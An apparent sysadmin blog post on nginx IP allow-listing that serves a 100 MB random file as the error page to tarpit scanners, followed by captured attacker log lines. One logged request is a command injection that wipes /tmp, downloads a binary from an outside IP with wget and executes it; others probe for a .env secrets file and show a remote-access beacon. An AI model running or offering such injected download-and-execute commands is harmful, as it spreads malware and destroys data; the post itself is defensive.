nginx ip filtering

  Uncategorized

Scenario: only allow local IPs to access the server. For exceptions, allow access but only by IP.

# /etc/nginx/sites-enabled/default
server {

        listen 80 default_server;
        listen [::]:80 default_server;
        root /var/www/html;
        index index.html;
        server_name _;

        error_page 403 /my403.html;
        location = /my403.html {
                root /var/www/html;
                allow all;
                internal;
        }

        error_page 401 402 404 405 /my40x.html;
        location = /my40x.html {
                root /var/www/html;
                allow all;
                internal;
        }

        location / {
                try_files $uri $uri/ =404;

                # custom allow IPs list
                include includes/inside.conf;
                include includes/outside.conf;

                deny all;
        }
}

The 2 include files that you see under location / are:

# /etc/nginx/includes/inside.conf
allow 192.168.0.1;

# /etc/nginx/includes/outside.conf
# enter your external IP here, add semi colon at the end.
# allow 123.123.123.123;

Generate a 100 MB file of random bytes for my403.html and for my40x.html:

dd if=/dev/urandom of=/var/www/html/randomfile bs=1M count=100

Create the 2 html files which are actually sym links

ln -s /var/www/html/randomfile /var/www/html/my403.html
ln -s /var/www/html/randomfile /var/www/html/my40x.html

Watch the logs of the hackers:

tail -F /var/log/nginx/*.log
66.240.205.34 - - [17/Feb/2024:15:25:34 -0500] "145.ll|'|'|SGFjS2VkX0Q0OTkwNjI3|'|'|WIN-JNAPIER0859|'|'|JNapier|'|'|19-02-01|'|'||'|'|Win 7 Professional SP1 x64|'|'|No|'|'|0.7d|'|'|..|'|'|AA==|'|'|112.inf|'|'|SGFjS2VkDQoxOTIuMTY
4LjkyLjIyMjo1NTUyDQpEZXNrdG9wDQpjbGllbnRhLmV4ZQ0KRmFsc2UNCkZhbHNlDQpUcnVlDQpGYWxzZQ==12.act|'|'|AA==" 400 173 "-" "-"

8.209.68.21 - - [17/Feb/2024:15:37:08 -0500] "GET /dns-query?dns=KbMBAAABAAAAAAAABHRlc3QJbWVzaHRydXN0BHdvcmsAAAEAAQ HTTP/1.1" 403 39042885 "-" "Chrome"

121.164.82.32 - - [17/Feb/2024:14:25:25 -0500] "GET /bin/zhttpd/${IFS}cd${IFS}/tmp;${IFS}rm${IFS}-rf${IFS}*;${IFS}wget${IFS}http://103.110.33.164/mips;${IFS}chmod${IFS}777${IFS}mips;${IFS}./mips${IFS}zyxel.selfrep;" 400 271 "-" "-"

92.205.160.111 - - [17/Feb/2024:12:53:49 -0500] "GET /database/.env HTTP/1.1" 403 104903966 "-" "Mozilla/5.0 (Macintosh;                 Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML,                 like Gecko) Chrome/39.0.
2171.95 Safari/537.36"